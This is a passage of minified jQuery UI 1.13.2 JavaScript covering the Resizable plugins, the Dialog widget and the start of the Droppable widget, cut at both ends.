this._helper&&(r=this._proportionallyResizeElements,u=r.length&&/textarea/i.test(r[0].nodeName),f=u&&this._hasScroll(r[0],"left")?0:i.sizeDiff.height,e=u?0:i.sizeDiff.width,o={width:i.helper.width()-e,height:i.helper.height()-f},s=parseFloat(i.element.css("left"))+(i.position.left-i.originalPosition.left)||null,h=parseFloat(i.element.css("top"))+(i.position.top-i.originalPosition.top)||null,c.animate||this.element.css(n.extend(o,{top:h,left:s})),i.helper.height(i.size.height),i.helper.width(i.size.width),this._helper&&!c.animate&&this._proportionallyResize()),n("body").css("cursor","auto"),this._removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left};this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var n={};return this.position.top!==this.prevPosition.top&&(n.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(n.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(n.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(n.height=this.size.height+"px"),this.helper.css(n),n},_updateVirtualBoundaries:function(n){var r,u,f,e,t,i=this.options;t={minWidth:this._isNumber(i.minWidth)?i.minWidth:0,maxWidth:this._isNumber(i.maxWidth)?i.maxWidth:Infinity,minHeight:this._isNumber(i.minHeight)?i.minHeight:0,maxHeight:this._isNumber(i.maxHeight)?i.maxHeight:Infinity};(this._aspectRatio||n)&&(r=t.minHeight*this.aspectRatio,f=t.minWidth/this.aspectRatio,u=t.maxHeight*this.aspectRatio,e=t.maxWidth/this.aspectRatio,r>t.minWidth&&(t.minWidth=r),f>t.minHeight&&(t.minHeight=f),u<t.maxWidth&&(t.maxWidth=u),e<t.maxHeight&&(t.maxHeight=e));this._vBoundaries=t},_updateCache:function(n){this.offset=this.helper.offset();this._isNumber(n.left)&&(this.position.left=n.left);this._isNumber(n.top)&&(this.position.top=n.top);this._isNumber(n.height)&&(this.size.height=n.height);this._isNumber(n.width)&&(this.size.width=n.width)},_updateRatio:function(n){var t=this.position,i=this.size,r=this.axis;return this._isNumber(n.height)?n.width=n.height*this.aspectRatio:this._isNumber(n.width)&&(n.height=n.width/this.aspectRatio),r==="sw"&&(n.left=t.left+(i.width-n.width),n.top=null),r==="nw"&&(n.top=t.top+(i.height-n.height),n.left=t.left+(i.width-n.width)),n},_respectSize:function(n){var t=this._vBoundaries,i=this.axis,r=this._isNumber(n.width)&&t.maxWidth&&t.maxWidth<n.width,u=this._isNumber(n.height)&&t.maxHeight&&t.maxHeight<n.height,f=this._isNumber(n.width)&&t.minWidth&&t.minWidth>n.width,e=this._isNumber(n.height)&&t.minHeight&&t.minHeight>n.height,o=this.originalPosition.left+this.originalSize.width,s=this.originalPosition.top+this.originalSize.height,h=/sw|nw|w/.test(i),c=/nw|ne|n/.test(i);return f&&(n.width=t.minWidth),e&&(n.height=t.minHeight),r&&(n.width=t.maxWidth),u&&(n.height=t.maxHeight),f&&h&&(n.left=o-t.minWidth),r&&h&&(n.left=o-t.maxWidth),e&&c&&(n.top=s-t.minHeight),u&&c&&(n.top=s-t.maxHeight),n.width||n.height||n.left||!n.top?n.width||n.height||n.top||!n.left||(n.left=null):n.top=null,n},_getPaddingPlusBorderDimensions:function(n){for(var t=0,i=[],r=[n.css("borderTopWidth"),n.css("borderRightWidth"),n.css("borderBottomWidth"),n.css("borderLeftWidth")],u=[n.css("paddingTop"),n.css("paddingRight"),n.css("paddingBottom"),n.css("paddingLeft")];t<4;t++)i[t]=parseFloat(r[t])||0,i[t]+=parseFloat(u[t])||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var n,t=0,i=this.helper||this.element;t<this._proportionallyResizeElements.length;t++)n=this._proportionallyResizeElements[t],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(n)),n.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,i=this.options;this.elementOffset=t.offset();this._helper?(this.helper=this.helper||n("<div><\/div>").css({overflow:"hidden"}),this._addClass(this.helper,this._helper),this.helper.css({width:this.element.outerWidth(),height:this.element.outerHeight(),position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(n,t){return{width:this.originalSize.width+t}},w:function(n,t){var i=this.originalSize,r=this.originalPosition;return{left:r.left+t,width:i.width-t}},n:function(n,t,i){var r=this.originalSize,u=this.originalPosition;return{top:u.top+i,height:r.height-i}},s:function(n,t,i){return{height:this.originalSize.height+i}},se:function(t,i,r){return n.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,i,r]))},sw:function(t,i,r){return n.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,i,r]))},ne:function(t,i,r){return n.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,i,r]))},nw:function(t,i,r){return n.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,i,r]))}},_propagate:function(t,i){n.ui.plugin.call(this,t,[i,this.ui()]);t!=="resize"&&this._trigger(t,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}});n.ui.plugin.add("resizable","animate",{stop:function(t){var i=n(this).resizable("instance"),u=i.options,r=i._proportionallyResizeElements,f=r.length&&/textarea/i.test(r[0].nodeName),s=f&&i._hasScroll(r[0],"left")?0:i.sizeDiff.height,h=f?0:i.sizeDiff.width,c={width:i.size.width-h,height:i.size.height-s},e=parseFloat(i.element.css("left"))+(i.position.left-i.originalPosition.left)||null,o=parseFloat(i.element.css("top"))+(i.position.top-i.originalPosition.top)||null;i.element.animate(n.extend(c,o&&e?{top:o,left:e}:{}),{duration:u.animateDuration,easing:u.animateEasing,step:function(){var u={width:parseFloat(i.element.css("width")),height:parseFloat(i.element.css("height")),top:parseFloat(i.element.css("top")),left:parseFloat(i.element.css("left"))};r&&r.length&&n(r[0]).css({width:u.width,height:u.height});i._updateCache(u);i._propagate("resize",t)}})}});n.ui.plugin.add("resizable","containment",{start:function(){var r,f,e,o,s,h,c,t=n(this).resizable("instance"),l=t.options,a=t.element,u=l.containment,i=u instanceof n?u.get(0):/parent/.test(u)?a.parent().get(0):u;i&&(t.containerElement=n(i),/document/.test(u)||u===document?(t.containerOffset={left:0,top:0},t.containerPosition={left:0,top:0},t.parentData={element:n(document),left:0,top:0,width:n(document).width(),height:n(document).height()||document.body.parentNode.scrollHeight}):(r=n(i),f=[],n(["Top","Right","Left","Bottom"]).each(function(n,i){f[n]=t._num(r.css("padding"+i))}),t.containerOffset=r.offset(),t.containerPosition=r.position(),t.containerSize={height:r.innerHeight()-f[3],width:r.innerWidth()-f[1]},e=t.containerOffset,o=t.containerSize.height,s=t.containerSize.width,h=t._hasScroll(i,"left")?i.scrollWidth:s,c=t._hasScroll(i)?i.scrollHeight:o,t.parentData={element:i,left:e.left,top:e.top,width:h,height:c}))},resize:function(t){var o,s,h,c,i=n(this).resizable("instance"),v=i.options,r=i.containerOffset,l=i.position,f=i._aspectRatio||t.shiftKey,e={top:0,left:0},a=i.containerElement,u=!0;a[0]!==document&&/static/.test(a.css("position"))&&(e=r);l.left<(i._helper?r.left:0)&&(i.size.width=i.size.width+(i._helper?i.position.left-r.left:i.position.left-e.left),f&&(i.size.height=i.size.width/i.aspectRatio,u=!1),i.position.left=v.helper?r.left:0);l.top<(i._helper?r.top:0)&&(i.size.height=i.size.height+(i._helper?i.position.top-r.top:i.position.top),f&&(i.size.width=i.size.height*i.aspectRatio,u=!1),i.position.top=i._helper?r.top:0);h=i.containerElement.get(0)===i.element.parent().get(0);c=/relative|absolute/.test(i.containerElement.css("position"));h&&c?(i.offset.left=i.parentData.left+i.position.left,i.offset.top=i.parentData.top+i.position.top):(i.offset.left=i.element.offset().left,i.offset.top=i.element.offset().top);o=Math.abs(i.sizeDiff.width+(i._helper?i.offset.left-e.left:i.offset.left-r.left));s=Math.abs(i.sizeDiff.height+(i._helper?i.offset.top-e.top:i.offset.top-r.top));o+i.size.width>=i.parentData.width&&(i.size.width=i.parentData.width-o,f&&(i.size.height=i.size.width/i.aspectRatio,u=!1));s+i.size.height>=i.parentData.height&&(i.size.height=i.parentData.height-s,f&&(i.size.width=i.size.height*i.aspectRatio,u=!1));u||(i.position.left=i.prevPosition.left,i.position.top=i.prevPosition.top,i.size.width=i.prevSize.width,i.size.height=i.prevSize.height)},stop:function(){var t=n(this).resizable("instance"),r=t.options,u=t.containerOffset,f=t.containerPosition,e=t.containerElement,i=n(t.helper),o=i.offset(),s=i.outerWidth()-t.sizeDiff.width,h=i.outerHeight()-t.sizeDiff.height;t._helper&&!r.animate&&/relative/.test(e.css("position"))&&n(this).css({left:o.left-f.left-u.left,width:s,height:h});t._helper&&!r.animate&&/static/.test(e.css("position"))&&n(this).css({left:o.left-f.left-u.left,width:s,height:h})}});n.ui.plugin.add("resizable","alsoResize",{start:function(){var t=n(this).resizable("instance"),i=t.options;n(i.alsoResize).each(function(){var t=n(this);t.data("ui-resizable-alsoresize",{width:parseFloat(t.width()),height:parseFloat(t.height()),left:parseFloat(t.css("left")),top:parseFloat(t.css("top"))})})},resize:function(t,i){var r=n(this).resizable("instance"),e=r.options,u=r.originalSize,f=r.originalPosition,o={height:r.size.height-u.height||0,width:r.size.width-u.width||0,top:r.position.top-f.top||0,left:r.position.left-f.left||0};n(e.alsoResize).each(function(){var t=n(this),u=n(this).data("ui-resizable-alsoresize"),r={},f=t.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];n.each(f,function(n,t){var i=(u[t]||0)+(o[t]||0);i&&i>=0&&(r[t]=i||null)});t.css(r)})},stop:function(){n(this).removeData("ui-resizable-alsoresize")}});n.ui.plugin.add("resizable","ghost",{start:function(){var t=n(this).resizable("instance"),i=t.size;t.ghost=t.originalElement.clone();t.ghost.css({opacity:.25,display:"block",position:"relative",height:i.height,width:i.width,margin:0,left:0,top:0});t._addClass(t.ghost,"ui-resizable-ghost");n.uiBackCompat!==!1&&typeof t.options.ghost=="string"&&t.ghost.addClass(this.options.ghost);t.ghost.appendTo(t.helper)},resize:function(){var t=n(this).resizable("instance");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=n(this).resizable("instance");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}});n.ui.plugin.add("resizable","grid",{resize:function(){var h,t=n(this).resizable("instance"),i=t.options,y=t.size,o=t.originalSize,s=t.originalPosition,c=t.axis,l=typeof i.grid=="number"?[i.grid,i.grid]:i.grid,f=l[0]||1,e=l[1]||1,a=Math.round((y.width-o.width)/f)*f,v=Math.round((y.height-o.height)/e)*e,r=o.width+a,u=o.height+v,p=i.maxWidth&&i.maxWidth<r,w=i.maxHeight&&i.maxHeight<u,b=i.minWidth&&i.minWidth>r,k=i.minHeight&&i.minHeight>u;i.grid=l;b&&(r+=f);k&&(u+=e);p&&(r-=f);w&&(u-=e);/^(se|s|e)$/.test(c)?(t.size.width=r,t.size.height=u):/^(ne)$/.test(c)?(t.size.width=r,t.size.height=u,t.position.top=s.top-v):/^(sw)$/.test(c)?(t.size.width=r,t.size.height=u,t.position.left=s.left-a):((u-e<=0||r-f<=0)&&(h=t._getPaddingPlusBorderDimensions(this)),u-e>0?(t.size.height=u,t.position.top=s.top-v):(u=e-h.height,t.size.height=u,t.position.top=s.top+o.height-u),r-f>0?(t.size.width=r,t.position.left=s.left-a):(r=f-h.width,t.size.width=r,t.position.left=s.left+o.width-r))}});lr=n.ui.resizable;
/*!
 * jQuery UI Dialog 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.widget("ui.dialog",{version:"1.13.2",options:{appendTo:"body",autoOpen:!0,buttons:[],classes:{"ui-dialog":"ui-corner-all","ui-dialog-titlebar":"ui-corner-all"},closeOnEscape:!0,closeText:"Close",draggable:!0,hide:null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center","of":window,collision:"fit",using:function(t){var i=n(this).css(t).offset().top;i<0&&n(this).css("top",t.top-i)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},sizeRelatedOptions:{buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},resizableRelatedOptions:{maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height};this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)};this.originalTitle=this.element.attr("title");this.options.title==null&&this.originalTitle!=null&&(this.options.title=this.originalTitle);this.options.disabled&&(this.options.disabled=!1);this._createWrapper();this.element.show().removeAttr("title").appendTo(this.uiDialog);this._addClass("ui-dialog-content","ui-widget-content");this._createTitlebar();this._createButtonPane();this.options.draggable&&n.fn.draggable&&this._makeDraggable();this.options.resizable&&n.fn.resizable&&this._makeResizable();this._isOpen=!1;this._trackFocus()},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var t=this.options.appendTo;return t&&(t.jquery||t.nodeType)?n(t):this.document.find(t||"body").eq(0)},_destroy:function(){var n,t=this.originalPosition;this._untrackInstance();this._destroyOverlay();this.element.removeUniqueId().css(this.originalCss).detach();this.uiDialog.remove();this.originalTitle&&this.element.attr("title",this.originalTitle);n=t.parent.children().eq(t.index);n.length&&n[0]!==this.element[0]?n.before(this.element):t.parent.append(this.element)},widget:function(){return this.uiDialog},disable:n.noop,enable:n.noop,close:function(t){var i=this;this._isOpen&&this._trigger("beforeClose",t)!==!1&&(this._isOpen=!1,this._focusedElement=null,this._destroyOverlay(),this._untrackInstance(),this.opener.filter(":focusable").trigger("focus").length||n.ui.safeBlur(n.ui.safeActiveElement(this.document[0])),this._hide(this.uiDialog,this.options.hide,function(){i._trigger("close",t)}))},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(t,i){var r=!1,f=this.uiDialog.siblings(".ui-front:visible").map(function(){return+n(this).css("z-index")}).get(),u=Math.max.apply(null,f);return u>=+this.uiDialog.css("z-index")&&(this.uiDialog.css("z-index",u+1),r=!0),r&&!i&&this._trigger("focus",t),r},open:function(){var t=this;if(this._isOpen){this._moveToTop()&&this._focusTabbable();return}this._isOpen=!0;this.opener=n(n.ui.safeActiveElement(this.document[0]));this._size();this._position();this._createOverlay();this._moveToTop(null,!0);this.overlay&&this.overlay.css("z-index",this.uiDialog.css("z-index")-1);this._show(this.uiDialog,this.options.show,function(){t._focusTabbable();t._trigger("focus")});this._makeFocusTarget();this._trigger("open")},_focusTabbable:function(){var n=this._focusedElement;n||(n=this.element.find("[autofocus]"));n.length||(n=this.element.find(":tabbable"));n.length||(n=this.uiDialogButtonPane.find(":tabbable"));n.length||(n=this.uiDialogTitlebarClose.filter(":tabbable"));n.length||(n=this.uiDialog);n.eq(0).trigger("focus")},_restoreTabbableFocus:function(){var t=n.ui.safeActiveElement(this.document[0]),i=this.uiDialog[0]===t||n.contains(this.uiDialog[0],t);i||this._focusTabbable()},_keepFocus:function(n){n.preventDefault();this._restoreTabbableFocus();this._delay(this._restoreTabbableFocus)},_createWrapper:function(){this.uiDialog=n("<div>").hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo());this._addClass(this.uiDialog,"ui-dialog","ui-widget ui-widget-content ui-front");this._on(this.uiDialog,{keydown:function(t){if(this.options.closeOnEscape&&!t.isDefaultPrevented()&&t.keyCode&&t.keyCode===n.ui.keyCode.ESCAPE){t.preventDefault();this.close(t);return}if(t.keyCode===n.ui.keyCode.TAB&&!t.isDefaultPrevented()){var i=this.uiDialog.find(":tabbable"),r=i.first(),u=i.last();t.target!==u[0]&&t.target!==this.uiDialog[0]||t.shiftKey?(t.target===r[0]||t.target===this.uiDialog[0])&&t.shiftKey&&(this._delay(function(){u.trigger("focus")}),t.preventDefault()):(this._delay(function(){r.trigger("focus")}),t.preventDefault())}},mousedown:function(n){this._moveToTop(n)&&this._focusTabbable()}});this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var t;this.uiDialogTitlebar=n("<div>");this._addClass(this.uiDialogTitlebar,"ui-dialog-titlebar","ui-widget-header ui-helper-clearfix");this._on(this.uiDialogTitlebar,{mousedown:function(t){n(t.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.trigger("focus")}});this.uiDialogTitlebarClose=n("<button type='button'><\/button>").button({label:n("<a>").text(this.options.closeText).html(),icon:"ui-icon-closethick",showLabel:!1}).appendTo(this.uiDialogTitlebar);this._addClass(this.uiDialogTitlebarClose,"ui-dialog-titlebar-close");this._on(this.uiDialogTitlebarClose,{click:function(n){n.preventDefault();this.close(n)}});t=n("<span>").uniqueId().prependTo(this.uiDialogTitlebar);this._addClass(t,"ui-dialog-title");this._title(t);this.uiDialogTitlebar.prependTo(this.uiDialog);this.uiDialog.attr({"aria-labelledby":t.attr("id")})},_title:function(n){this.options.title?n.text(this.options.title):n.html("&#160;")},_createButtonPane:function(){this.uiDialogButtonPane=n("<div>");this._addClass(this.uiDialogButtonPane,"ui-dialog-buttonpane","ui-widget-content ui-helper-clearfix");this.uiButtonSet=n("<div>").appendTo(this.uiDialogButtonPane);this._addClass(this.uiButtonSet,"ui-dialog-buttonset");this._createButtons()},_createButtons:function(){var i=this,t=this.options.buttons;if(this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),n.isEmptyObject(t)||Array.isArray(t)&&!t.length){this._removeClass(this.uiDialog,"ui-dialog-buttons");return}n.each(t,function(t,r){var u,f;r=typeof r=="function"?{click:r,text:t}:r;r=n.extend({type:"button"},r);u=r.click;f={icon:r.icon,iconPosition:r.iconPosition,showLabel:r.showLabel,icons:r.icons,text:r.text};delete r.click;delete r.icon;delete r.iconPosition;delete r.showLabel;delete r.icons;typeof r.text=="boolean"&&delete r.text;n("<button><\/button>",r).button(f).appendTo(i.uiButtonSet).on("click",function(){u.apply(i.element[0],arguments)})});this._addClass(this.uiDialog,"ui-dialog-buttons");this.uiDialogButtonPane.appendTo(this.uiDialog)},_makeDraggable:function(){function i(n){return{position:n.position,offset:n.offset}}var t=this,r=this.options;this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(r,u){t._addClass(n(this),"ui-dialog-dragging");t._blockFrames();t._trigger("dragStart",r,i(u))},drag:function(n,r){t._trigger("drag",n,i(r))},stop:function(u,f){var e=f.offset.left-t.document.scrollLeft(),o=f.offset.top-t.document.scrollTop();r.position={my:"left top",at:"left"+(e>=0?"+":"")+e+" top"+(o>=0?"+":"")+o,"of":t.window};t._removeClass(n(this),"ui-dialog-dragging");t._unblockFrames();t._trigger("dragStop",u,i(f))}})},_makeResizable:function(){function r(n){return{originalPosition:n.originalPosition,originalSize:n.originalSize,position:n.position,size:n.size}}var t=this,i=this.options,u=i.resizable,f=this.uiDialog.css("position"),e=typeof u=="string"?u:"n,e,s,w,se,sw,ne,nw";this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:i.maxWidth,maxHeight:i.maxHeight,minWidth:i.minWidth,minHeight:this._minHeight(),handles:e,start:function(i,u){t._addClass(n(this),"ui-dialog-resizing");t._blockFrames();t._trigger("resizeStart",i,r(u))},resize:function(n,i){t._trigger("resize",n,r(i))},stop:function(u,f){var e=t.uiDialog.offset(),o=e.left-t.document.scrollLeft(),s=e.top-t.document.scrollTop();i.height=t.uiDialog.height();i.width=t.uiDialog.width();i.position={my:"left top",at:"left"+(o>=0?"+":"")+o+" top"+(s>=0?"+":"")+s,"of":t.window};t._removeClass(n(this),"ui-dialog-resizing");t._unblockFrames();t._trigger("resizeStop",u,r(f))}}).css("position",f)},_trackFocus:function(){this._on(this.widget(),{focusin:function(t){this._makeFocusTarget();this._focusedElement=n(t.target)}})},_makeFocusTarget:function(){this._untrackInstance();this._trackingInstances().unshift(this)},_untrackInstance:function(){var t=this._trackingInstances(),i=n.inArray(this,t);i!==-1&&t.splice(i,1)},_trackingInstances:function(){var n=this.document.data("ui-dialog-instances");return n||(n=[],this.document.data("ui-dialog-instances",n)),n},_minHeight:function(){var n=this.options;return n.height==="auto"?n.minHeight:Math.min(n.minHeight,n.height)},_position:function(){var n=this.uiDialog.is(":visible");n||this.uiDialog.show();this.uiDialog.position(this.options.position);n||this.uiDialog.hide()},_setOptions:function(t){var i=this,r=!1,u={};n.each(t,function(n,t){i._setOption(n,t);n in i.sizeRelatedOptions&&(r=!0);n in i.resizableRelatedOptions&&(u[n]=t)});r&&(this._size(),this._position());this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",u)},_setOption:function(t,i){var f,u,r=this.uiDialog;t!=="disabled"&&(this._super(t,i),t==="appendTo"&&this.uiDialog.appendTo(this._appendTo()),t==="buttons"&&this._createButtons(),t==="closeText"&&this.uiDialogTitlebarClose.button({label:n("<a>").text(""+this.options.closeText).html()}),t==="draggable"&&(f=r.is(":data(ui-draggable)"),f&&!i&&r.draggable("destroy"),!f&&i&&this._makeDraggable()),t==="position"&&this._position(),t==="resizable"&&(u=r.is(":data(ui-resizable)"),u&&!i&&r.resizable("destroy"),u&&typeof i=="string"&&r.resizable("option","handles",i),u||i===!1||this._makeResizable()),t==="title"&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))},_size:function(){var t,i,r,n=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0});n.minWidth>n.width&&(n.width=n.minWidth);t=this.uiDialog.css({height:"auto",width:n.width}).outerHeight();i=Math.max(0,n.minHeight-t);r=typeof n.maxHeight=="number"?Math.max(0,n.maxHeight-t):"none";n.height==="auto"?this.element.css({minHeight:i,maxHeight:r,height:"auto"}):this.element.height(Math.max(0,n.height-t));this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map(function(){var t=n(this);return n("<div>").css({position:"absolute",width:t.outerWidth(),height:t.outerHeight()}).appendTo(t.parent()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(t){return n(t.target).closest(".ui-dialog").length?!0:!!n(t.target).closest(".ui-datepicker").length},_createOverlay:function(){if(this.options.modal){var t=n.fn.jquery.substring(0,4),i=!0;if(this._delay(function(){i=!1}),!this.document.data("ui-dialog-overlays"))this.document.on("focusin.ui-dialog",function(n){if(!i){var r=this._trackingInstances()[0];r._allowInteraction(n)||(n.preventDefault(),r._focusTabbable(),(t==="3.4."||t==="3.5.")&&r._delay(r._restoreTabbableFocus))}}.bind(this));this.overlay=n("<div>").appendTo(this._appendTo());this._addClass(this.overlay,null,"ui-widget-overlay ui-front");this._on(this.overlay,{mousedown:"_keepFocus"});this.document.data("ui-dialog-overlays",(this.document.data("ui-dialog-overlays")||0)+1)}},_destroyOverlay:function(){if(this.options.modal&&this.overlay){var n=this.document.data("ui-dialog-overlays")-1;n?this.document.data("ui-dialog-overlays",n):(this.document.off("focusin.ui-dialog"),this.document.removeData("ui-dialog-overlays"));this.overlay.remove();this.overlay=null}}});n.uiBackCompat!==!1&&n.widget("ui.dialog",n.ui.dialog,{options:{dialogClass:""},_createWrapper:function(){this._super();this.uiDialog.addClass(this.options.dialogClass)},_setOption:function(n,t){n==="dialogClass"&&this.uiDialog.removeClass(this.options.dialogClass).addClass(t);this._superApply(arguments)}});ar=n.ui.dialog;
/*!
 * jQuery UI Droppable 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.widget("ui.droppable",{version:"1.13.2",widgetEventPrefix:"drop",options:{accept:"*",addClasses:!0,greedy:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var n,t=this.options,i=t.accept;this.isover=!1;this.isout=!0;this.accept=typeof i=="function"?i:function(n){return n.is(i)};this.proportions=function(){if(arguments.length)n=arguments[0];else return n?n:n={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight}};this._addToManager(t.scope);t.addClasses&&this._addClass("ui-droppable")},_addToManager:function(t){n.ui.ddmanager.droppables[t]=n.ui.ddmanager.droppables[t]||[];n.ui.ddmanager.droppables[t].push(this)},_splice:function(n){for(var t=0;t<n.length;t++)n[t]===this&&n.splice(t,1)},_destroy:function(){var t=n.ui.ddmanager.droppables[this.options.scope];this._splice(t)},_setOption:function(t,i){if(t==="accept")this.accept=typeof i=="function"?i:function(n){return n.is(i)};else if(t==="scope"){var r=n.ui.ddmanager.droppables[this.options.scope];this._splice(r);this._addToManager(i)}this._super(t,i)},_activate:function(t){var i=n.ui.ddmanager.current;this._addActiveClass();i&&this._trigger("activate",t,this.ui(i))},_deactivate:function(t){var i=n.ui.ddmanager.current;this._removeActiveClass();i&&this._trigger("deactivate",t,this.ui(i))},_over:function(t){var i=n.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this._addHoverClass(),this._trigger("over",t,this.ui(i)))},_out:function(t){var i=n.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this._removeHoverClass(),this._trigger("out",t,this.ui(i)))},_drop:function(t,i){var r=i||n.ui.ddmanager.current,u=!1;return!r||(r.currentItem||r.element)[0]===this.element[0]?!1:(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var i=n(this).droppable("instance");if(i.options.greedy&&!i.options.disabled&&i.options.scope===r.options.scope&&i.accept.call(i.element[0],r.currentItem||r.element)&&n.ui.intersect(r,n.extend(i,{offset:i.element.offset()}),i.options.tolerance,t))return u=!0,!1}),u)?!1:this.accept.call(this.element[0],r.currentItem||r.element)?(this._removeActiveClass(),this._removeHoverClass(),this._trigger("drop",t,this.ui(r)),this.element):!1},ui:function(n){return{draggable:n.currentItem||n.element,helper:n.helper,position:n.position,offset:n.positionAbs}},_addHoverClass:function(){this._addClass("ui-droppable-hover")},_removeHoverClass:function(){this._removeClass("ui-droppable-hover")},_addActiveClass:function(){this._addClass("ui-droppable-active")},_removeActiveClass:function(){this._removeClass("ui-droppable-active")}});n.ui.intersect=function(){function n(n,t,i){return n>=t&&n<t+i}return function(t,i,r,u){if(!i.offset)return!1;var o=(t.positionAbs||t.position.absolute).left+t.margins.left,s=(t.positionAbs||t.position.absolute).top+t.margins.top,h=o+t.helperProportions.width,c=s+t.helperProportions.height,f=i.offset.left,e=i.offset.top,l=f+i.proportions().width,a=e+i.proportions().height;switch(r){case"fit":return f<=o&&h<=l&&e<=s&&c<=a;case"intersect":return f<o+t.helperProportions.width/2&&h-t.helperProportions.width/2<l&&e<s+t.helperProportions.height/2&&c-t.helperProportions.height/2<a;case"pointer":return n(u.pageY,e,i.proportions().height)&&n(u.pageX,f,i.proportions().width);case"touch":return(s>=e&&s<=a||c>=e&&c<=a||s<e&&c>a)&&(o>=f&&o<=l||h>=f&&h<=l||o<f&&h>l);default:return!1}}}();n.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(t,i){var r,f,u=n.ui.ddmanager.droppables[t.options.scope]||[],o=i?i.type:null,e=(t.currentItem||t.element).find(":data(ui-droppable)").addBack();n:for(r=0;r<u.length;r++)if(!u[r].options.disabled&&(!t||u[r].accept.call(u[r].element[0],t.currentItem||t.element))){for(f=0;f<e.length;f++)if(e[f]===u[r].element[0]){u[r].proportions().height=0;continue n}(u[r].visible=u[r].element.css("display")!=="none",u[r].visible)&&(o==="mousedown"&&u[r]._activate.call(u[r],i),u[r].offset=u[r].element.offset(),u[r].proportions({width:u[r].element[0].offsetWidth,height:u[r].element[0].offsetHeight}))}},drop:function(t,i){var r=!1;return n.each((n.ui.ddmanager.droppables[t.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&n.ui.intersect(t,this,this.options.tolerance,i)&&(r=this._drop.call(this,i)||r),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))}),r},dragStart:function(t,i){t.element.parentsUntil("body").on("scroll.droppable",function(){t.options.refreshPositions||n.ui.ddmanager.prepareOffsets(t,i)})},drag:function(t,i){t.options.refreshPositions&&n.ui.ddmanager.prepareOffsets(t,i);n.each(n.ui.ddmanager.droppables[t.options.scope]||[],function(){if(!this.options.disabled&&!this.greedyChild&&this.visible){var r,e,f,o=n.ui.intersect(t,this,this.options.tolerance,i),u=!o&&this.isover?"isout":o&&!this.isover?"isover":null;u&&(this.options.greedy&&(e=this.options.scope,f=this.element.parents(":data(ui-droppable)").filter(function(){return 